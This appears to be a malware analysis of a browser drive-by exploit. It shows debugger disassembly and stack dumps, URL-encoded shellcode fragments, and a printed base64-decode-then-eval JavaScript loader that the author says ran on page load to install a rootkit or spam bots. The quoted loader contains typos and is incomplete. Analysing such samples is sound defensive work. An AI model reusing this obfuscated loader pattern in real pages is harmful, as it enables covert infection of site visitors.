



Address	Hex	Assembly	Module
7C812A58	5E	POP ESI	msvcrt.77C014BC
7C812A5C	C9	LEAVE	
7C812A5D	C2 1000	RETN 10	
7C812A60	85FF	TEST EDI,EDI	
7C812A62	^0F8E 3693FFFF	JLE kernel32.7C80B09E	
7C812A68	8B55 FC	MOV EDX,DWORD PTR SS:[EBP-4]	
7C812A6B	8955 0C	MOV DWORD PTR SS:[EBP+C],EDX	
7C812A6E	0FB716	MOVZX EDX,WORD PTR DS:[ESI]	
7C812A71	8B7D F8	MOV EDI,DWORD PTR SS:[EBP-8]	
7C812A74	8A143A	MOV DL,BYTE PTR DS:[EDX+EDI]	
7C812A77	8B11	MOV BYTE PTR DS:[ECX],DL	
7C812A79	8B78 0C	MOV EDI,DWORD PTR DS:[EAX+C]	
7C812A7C	0FB6D2	MOVZX EDX,DL	
7C812A7F	66:8B1457	MOV DX,WORD PTR DS:[EDI+EDX*2]	
7C812A83	66:3B16	CMP DX,WORD PTR DS:[ESI]	
7C812A86	^0F85 A3890300	JNZ kernel32.7C84B42F	
7C812A8C	8B50 08	MOV EDX,DWORD PTR DS:[EAX+8]	
7C812A8F	66:8B5A 04	MOV BX,WORD PTR DS:[EDX+4]	
7C812A93	3B19	CMP BYTE PTR DS:[ECX],BL	
7C812A95	^0F84 A1890300	JE kernel32.7C84B43C	
7C812A9B	46	INC ESI	
7C812A9C	46	INC ESI	
7C812A9D	41	INC ECX	
7C812A9E	FF4D 0C	DEC DWORD PTR SS:[EBP+C]	
7C812AA1	^75 CB	JNZ SHORT kernel32.7C812A9E	
7C812AA3	^E9 F692FFFF	JMP kernel32.7C80B09E	
7C812AA8	8B4D 10	MOV ECX,DWORD PTR SS:[EBP+10]	
7C812AAB	E8 2478FFFF	CALL kernel32.7C80A2D4	
7C812AB0	8B55 0C	MOV EDX,DWORD PTR SS:[EBP+C]	
7C812AB3	8BD8	MOV EBX,EAX	
7C812AB5	43	INC EBX	
7C812AB6	^E9 11A3FFFF	JMP kernel32.7C80CDDC	
7C812ABB	8BD9	MOV EBX,ECX	
7C812ABD	895D 08	MOV DWORD PTR SS:[EBP+8],EBX	
7C812AC0	^E9 06A2FFFF	JMP kernel32.7C80CCBC	
7C812AC5	8B35 9C37887C	MOV ESI,DWORD PTR DS:[7C88879C]	
7C812ACB	^E9 01A2FFFF	JMP kernel32.7C80CCD1	
7C812AD0	8365 C0 00	AND DWORD PTR SS:[EBP-40],0	
7C812AD4	^E9 78FFFF	JMP kernel32.7C812A51	

001296E0	00000206	
001296E4	00129744	
001296E8	7C812A5B	kernel32.7C812A5B
001296EC	001296F4	
001296F0	77C014BC	ASCII "Access violation - no RTTI data!"
001296F4	E06D7363	
001296F8	00000001	
001296FC	00000000	
00129700	7C812A5B	RETURN to kernel32.7C812A5B from ntdll.RtlRaiseException
00129704	00000003	
00129708	19930520	
0012970C	0012979C	
00129710	4EFC8390	msadco.4EFC8390
00129714	01D6C1C4	
00129718	7DBEE308	mshtml.7DBEE308
0012971C	01D6C1C4	
00129720	00129780	
00129724	01D6C1C4	
00129728	00000000	
0012972C	00000001	
00129730	7DC38C2F	RETURN to mshtml.7DC38C2F
00129734	7DC5C4F8	mshtml.7DC5C4F8
00129738	4EFB3DD8	msadco.4EFB3DD8
0012973C	00000000	
00129740	01D6C1A0	

Stack [001296F0]=77C014BC (msvcrt.77C014BC),  
ASCII "Access violation - no RTTI data!"

The part of the code could be extracted. One of the functions in the "shellcode" even was named "Exploit".

```
Go(a);
catch(e){}
Log(something)
Exploit();
```

```
function Log(m) {
    var log = document.createElement('p');    log.innerHTML = m;
}
```

```
function CreateO(o, n) {...}
```

The code of the exploit was so obfuscated, but this part of the shellcode looks much more familiar:

```
0012259C 00200004 UNICODE
"%2c%27%7b%30%36%37%32%33%45%30%39%2d%46%34%43%32%2d%34%33%63%38%2d%38%33%
35%38%2d%30%39%46%43%44%31%"
```

```
00122644 0020003A UNICODE
"%30%39%2d%46%34%43%32%2d%34%33%63%38%2d%38%33%35%38%2d%30%39%46%43%44%31%
44%42%30%37%36%36%7d%27%2c%"
```

The exploit uses WScript.Shell object, which provides functions to read system information and deal with registry. The code of the JavaScript function in the exploit should look this way:

```
<script language="javascript">
var alfabet='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'=;

function funkcja(arg)
{
var a1=", a2, a3, a4, a5, a6, a7, a8, a9=0;

arg=arg.replace(/[\^A-Za-z0-9\+\=\]/g, "");

do {
a5=alfabet.indexOf(arg.charAt(a9++));
a6=alfabet.indexOf(arg.charAt(a9++));
a7=alfabet.indexOf(arg.charAt(a9++));
a8=alfabet.indexOf(arg.charAt(a9++));
a2=(a5 << 2) | (a6 >> 4);

some_shit=((a6 & 15) << 4) | (a7 >> 2);
a4=((a7 & 3) << 6) | a8;
a1=a1+String.fromCharCode(a2);

if (a7!=64) a1=a1+String.fromCharCode(some_shit);
if (a8!=64) a1=a1+String.fromCharCode(a4);

}
while (a9<arg.length); eval(a1);}

</script>
```

The function is executed just after the victim loads the web site that was provided as a link. The EVAL function evaluates and/or executes a string of JavaScript code. In this case I found three different kinds of code. One of them tried to install a rootkit on the victim's system, the other two were less offensive and simply installed themselves on the victim's system and sent spam. The code, which tried to install a rootkit manipulated directly kernel objects/modules and was kind a mutation of MigBot and KLOG.

